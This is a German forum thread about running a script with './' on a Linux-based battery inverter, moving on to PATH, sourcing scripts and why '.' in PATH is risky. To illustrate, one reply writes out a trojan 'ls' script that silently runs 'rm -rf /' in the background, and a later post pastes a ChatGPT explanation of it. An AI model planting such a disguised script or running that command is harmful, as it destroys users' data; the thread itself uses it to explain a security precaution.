Hallo, ich versuche gerade Händeringend einen Dienst auf meinem Multiplus 2 Batterie Wechselricher neu zu starten. Er scheint aber "restart.sh" nicht zu kennen. Wenn ich "restar" und dann TAB drücke, kennt er das "restart.sh" nicht. Warum? Mein Dienst: https://github.com/notaus123/dbus-solarlog-json Danke + MfG Wolfgang
Angehängte Dateien:
-
20.JPG
77 KB
Stefan F. schrieb: > ./restart.sh war die Lösung ... :p Richtig, dein "restart.sh" liegt nicht im Suchpfad $PATH darum mußt du den Pfad komplett angeben. Hier hast du das getan, indem du das Kürzel für das aktuelle Verzeichnis (./) verwendest. (/data/dbus-solarlog-json/restart.sh) wäre auch gegangen.
Axel G. schrieb: > Stefan F. schrieb: >> ./restart.sh war die Lösung ... :p > > Richtig, dein "restart.sh" liegt nicht im Suchpfad $PATH darum mußt du > den Pfad komplett angeben. Hier hast du das getan, indem du das Kürzel > für das aktuelle Verzeichnis (./) verwendest. > (/data/dbus-solarlog-json/restart.sh) wäre auch gegangen. Oder "sh restart.sh"
Martin H. schrieb: > Axel G. schrieb: >> Stefan F. schrieb: >>> ./restart.sh war die Lösung ... :p >> >> Richtig, dein "restart.sh" liegt nicht im Suchpfad $PATH darum mußt du >> den Pfad komplett angeben. Hier hast du das getan, indem du das Kürzel >> für das aktuelle Verzeichnis (./) verwendest. >> (/data/dbus-solarlog-json/restart.sh) wäre auch gegangen. > > Oder "sh restart.sh" Da ist aber ein Zeichen mehr nötig ...
Axel G. schrieb: > Stefan F. schrieb: >> ./restart.sh war die Lösung ... :p > > Richtig, dein "restart.sh" liegt nicht im Suchpfad $PATH darum mußt du > den Pfad komplett angeben. Hier hast du das getan, indem du das Kürzel > für das aktuelle Verzeichnis (./) verwendest. '.' sollte man nicht zu $path hinzufügen, da sicherheheitsrisiko. https://tldp.org/HOWTO/Path-12.html Falls path änderungen nicht wirksam werden, rehash versuchen.
Axel G. schrieb: > Hier hast du das getan, indem du das Kürzel > für das aktuelle Verzeichnis (./) verwendest. Das ist schon falsch. Denn wenn man ./ vorne hinschreibt dann wird zwar auch dort gesucht, aber das ändert nicht $PATH.
> Das ist schon falsch. Denn wenn man ./ vorne hinschreibt dann wird zwar > auch dort gesucht Was auch schon wieder falsch ist. Es wird nicht "auch" da gesucht, sondern "genau" da.
Jens G. schrieb: > Da ist aber ein Zeichen mehr nötig ... Es sind aber genauso viele Tastendrücke: Punkt, SHIFT, 7, restart.sh oder s, h, SPACE, restart.sh :)
>> Oder "sh restart.sh" > > Da ist aber ein Zeichen mehr nötig ... Man koennte das Kommando auch "sourcen". Viele Shells benutzen als Abkuerzung fuer "source" den ".". . restart.sh Fuer unerwueschnte Nebenwirkungen fragen sie ihren...
Motopick schrieb: > Man koennte das Kommando auch "sourcen". Nicht tun. > Fuer unerwueschnte Nebenwirkungen fragen sie ihren... Eben.
> > Fuer unerwueschnte Nebenwirkungen fragen sie ihren... > > Eben. Die Erweiterung .sh des Skriptes suggeriert, dass es von der default Shell des Systems ausgefuehrt werden kann. Klarheit koennte die erste Zeile des Skriptes bringen. Steht da sinngemaess etwas wie: #!/bin/sh und man ist mit der selben Shell unterwegs, ist ein "source" ohne grosse Risiken. Auf manchen Systemen, z.B. Android sogar die einzige Moeglichkeit ein Skript auszufuehren. Weil u.U. das Filesystem auf dem das Skript liegt, als noexec gemountet ist.
Motopick schrieb: > ist ein > "source" ohne grosse Risiken Bleibt auch damit falsch. Source benutzt man, um Funktionen oder Variablen in die laufende Instanz zu importieren. Lass deinen Script am Ende ein "exit 0" stehen haben, und deine laufende Instanz ist danach beendet, wenn du ihn sourcet …
Motopick schrieb: > und man ist mit der selben Shell unterwegs, ist ein > "source" ohne grosse Risiken. Falsch. Sämtliche Änderungen von Variablen (incl. PATH) oder auch Änderungen des aktuellen Verzeichnisses per cd-Befehl wirken sich beim Sourcen auf Deine interaktive Shell aus - nur um 2 Nebenwirkungen zu nennen. Das Sourcen von Shell-Scripts ist nur dann sinnvoll, wenn man seine Arbeitsumgebung (Path, Working Dir, Variables) absichtlich ändern möchte - sonst nicht.
> Source benutzt man, um Funktionen oder Variablen in die laufende Instanz > zu importieren. Ja, Source benutzt man um ein Skript im gegenwaertigen Kontext einer Shell auszufuehren. Was das Skript letztendlicht tut, ist Sache des Skriptes. > Lass deinen Script am Ende ein "exit 0" stehen haben, und deine laufende > Instanz ist danach beendet, wenn du ihn sourcet … Das kann ja ggfs. sogar erwuenscht sein, :) und wuerde in die Rubrik: "kleinere Nebenwirkungen" fallen. Was die Tauglichkeit, unter gewissen "unguenstigen" Bedingungen, ueberhaupt(!) ein Skript auszufuehren fuer mich nicht allzusehr schmaelert. Siehe mein Beispiel, ein Skript unter Android in einem Terminalemulator auszufuehren.
Angehängte Dateien:
Motopick schrieb: > Siehe mein Beispiel, ein Skript unter Android > in einem Terminalemulator auszufuehren. Davon abgesehen, dass ich das für einen ziemlichen Sonderfall halte, weiß ich nicht, was du da hast …
Hat es irgendwelche Vorteile, dass man das Programm mit ./ starten muss obwohl man schon im korrekten Ordner/Pfad ist? Man muss ja aufpassen was man schreibt, aber ich kenne da andere Betriebssysteme wo man das nicht machen muss und das war bisher nie ein Problem...
M. D. schrieb: > Hat es irgendwelche Vorteile, dass man das Programm mit ./ starten muss > obwohl man schon im korrekten Ordner/Pfad ist? Naja, insbesondere in einer tatsächlichen Mehrnutzerumgebung war die Empfehlung vor allem für den Administrator, "." nicht im Pfad zu haben – vor allem nicht am Anfang des Pfads. Ansonsten konnte folgendes Szenario passieren: $BÖSERNUTZER geht nach /tmp und legt dort einen Script (oder ein compiliertes Programm) namens "ls" ab. Dann muss er nur noch warten, bis $ROOT mal in /tmp ein "ls" ausführt … Wenn du komplett allein auf deinem System bist (und dir auch sicher sein kannst, dass es keine Eindringlinge gibt ;-), brauchst du diese Vorsichtsmaßnahme nicht unbedingt. Da andererseits aus ebendiesem Grund "." so gut wie nirgends von vornherein im Pfad ist, gewöhnt man sich ohnehin einfach an, "./" zu schreiben …
M. D. schrieb: > Hat es irgendwelche Vorteile, dass man das Programm mit ./ starten > muss obwohl man schon im korrekten Ordner/Pfad ist? > Man muss ja aufpassen was man schreibt, aber ich kenne da andere > Betriebssysteme wo man das nicht machen muss und das war bisher nie ein > Problem... Ja, du meinst DOS, wo man sich über Sicherheit keine Gedanken machen musste. Hier nur als Beispiel ein Szenarium, wie der Punkt im Pfad zu einem Sicherheitsproblem wird: Der Admin arbeitet als root in der Shell, hat Punkt vorn im PATH, weil er an seiner letzten Arbeitsstelle nur mit $OS gearbeitet hat, wo die Eingabeaufforderung auch Punkt im PATH hat und bearbeitet die HOMEs seiner ausgeschiedenen Mitarbeiter. Er wechselt also zu /home/boesewicht, möchte sich eine Übersicht verschaffen und tippt ein: "ls". Patsch! P.S. Der User "boesewicht" könnte zum Beispiel folgendes an seinem letzten Arbeitstag gemacht haben:
1 | echo "#!/bin/sh" >ls |
2 | echo "/bin/rm -rf / >/dev/null 2>&1 &" >>ls |
3 | echo "/bin/ls $*" >>ls |
4 | chmod +x ls |
$ cd
/system/bin/sh: cd: no home directory (HOME not set)
Ja :). Und was nun?
Das war uebrigens keine echte Frage.
> weiß ich nicht, was du da hast …
Ditto.
Danke für die Erklärung :) Jetzt kommt die Stärke von ChatGPT, hab mir mal erklären lassen was das Script macht. Frank M. schrieb: > echo "#!/bin/sh" >ls > echo "/bin/rm -rf / >/dev/null 2>&1 &" >>ls > echo "/bin/ls $*" >>ls > chmod +x ls Dieser Code erstellt ein Shell-Skript mit dem Namen "ls". Die erste Zeile "#!/bin/sh" gibt an, dass das Skript mit dem Standard-Shellinterpreter aufgerufen werden soll. Die nächste Zeile "/bin/rm -rf / >/dev/null 2>&1 &" ist ein gefährlicher Befehl, der das gesamte Dateisystem löschen würde, wenn er ausgeführt wird. Diese Zeile wurde absichtlich in das Skript eingefügt, um zu zeigen, wie wichtig es ist, Quellcode sorgfältig zu prüfen, bevor er ausgeführt wird. Die Zeichenfolge ">/dev/null 2>&1 &" sorgt dafür, dass der Befehl im Hintergrund ausgeführt wird und alle Ausgabe in die Null-Datei umgeleitet wird, um den Benutzer nicht zu benachrichtigen. Die letzte Zeile "/bin/ls $" fügt einen Befehl hinzu, der eine Liste der Dateien im aktuellen Verzeichnis anzeigt, wenn das Skript ausgeführt wird. Das "$" bedeutet, dass alle Argumente, die bei der Ausführung des Skripts übergeben werden, an den Befehl "ls" weitergegeben werden. Die letzte Zeile "chmod +x ls" ändert die Dateiberechtigungen des Skripts, um es ausführbar zu machen.
In einem noexec Filesystem steht der Frank mit seinem
> chmod +x ls
ziemlich nackt da.
Auch "/tmp" ist mittlerweile ein guter Kandidat eines "noexec"
Filesystems.
Da huelft dann auch kein . vorn am Pfad.
Oder es stoert keinen. Je nach Betrachtungsweise.
Es mag kurze Linux Fragen geben. Kurze Antworten auf Linux Probleme hat man hingegen noch nie gesehen.
> Kurze Antworten auf Linux Probleme hat > man hingegen noch nie gesehen. +++ Das liegt eben an wirklich zahlreichen Moeglickkeiten Dinge zu tun, die so eigentlich nicht vorgesehen sind oder waren.
Cyblord -. schrieb: > Es mag kurze Linux Fragen geben. Kurze Antworten auf Linux > Probleme hat > man hingegen noch nie gesehen. Doch, in der ersten Antwort lieferte Stefan F. selber die Lösung seines Problems in kurzen Worten. Frage: Stefan F. schrieb: > Warum? 1. Antwort: Stefan F. schrieb: > ./restart.sh war die Lösung ... :p Danach gab's nur noch Kaffeeklatsch.
Motopick schrieb: > In einem noexec Filesystem steht der Frank mit seinem >> chmod +x ls > ziemlich nackt da. Naja, es ging ja um die Frage, warum ich unter Linux "./" vor die Datei schreiben muss, um sie auszuführen. Wenn ich in einem noexec-Filesystem stehe, ist es egal, ob ich "./" oder nicht vor das Executable schreibe, ich bekomme sie nicht ausgeführt. Hier erübrigt sich dann die ursprüngliche Frage und macht sie gegenstandslos. Daher ist Dein Szenario hier überhaupt nicht relevant. Davon abgesehen: Auf Betriebssystemen, wo der Punkt vorn im Pfad standardmäßig enthalten ist und als Vergleich zu Linux herhalten muss, gibt es keine noexec-Dateisysteme ;-)
Jörg W. schrieb: > Lass deinen Script am Ende ein "exit 0" stehen haben, und deine laufende > Instanz ist danach beendet, wenn du ihn sourcet … Wobei das bei einem Restart-Script sogar höchst erwünscht sein dürfte ...
Jens G. schrieb: > Wobei das bei einem Restart-Script sogar höchst erwünscht sein dürfte > ... Aber auch nur, wenn das ganze OS neu gestartet werden soll und nicht nur der Datenbankserver, in dessen Tools-Verzeichnis man grad ist. :)
> Aber auch nur, wenn das ganze OS neu gestartet werden soll und nicht nur > der Datenbankserver, in dessen Tools-Verzeichnis man grad ist. :) Fuer solche Zwecke gibt es ja auch noch "exec". Das benutzt ganz normal den PATH. Schon das Vorhandensein zeigt, dass es Faelle gibt, in denen die Benutzung mindestens nuetzlich wenn nicht sogar zwingend ist. Mit einem dogmatisch ideologisch gepraegten Umgang mit den Moeglichkeiten der Shell, engt man sich nur selbst unnoetig ein. Andere Skripte "nur" zu sourcen, ist uebrigens auch das Verhalten des Windowskommandoprozessors CMD.EXE und kein normaler Mensch kaeme da auf die Idee, weitere Skripte mit einem cmd /c skript.cmd zu starten. Und ich wette mal, wenn bei beiden das Android dann auch so dichtgenagelt ist, das ein Terminalemulator eigentlich nichts mehr darf, dann werden die beiden auch auf das "source" zurueckgreifen. Die Alternative waere ja sonst nur das "zeilenweise Abtippen" des Scripts...
> Das macht aber was ganz anderes …
Ja danke fuer den Hinweis. Waere aber nicht noetig gewesen. :)
Thread beobachten
Seitenaufteilung abschaltenBitte melde dich an um einen Beitrag zu schreiben. Anmeldung ist kostenlos und dauert nur eine Minute.
Bestehender Account
Schon ein Account bei Google/GoogleMail? Keine Anmeldung erforderlich!
Mit Google-Account einloggen
Mit Google-Account einloggen
Noch kein Account? Hier anmelden.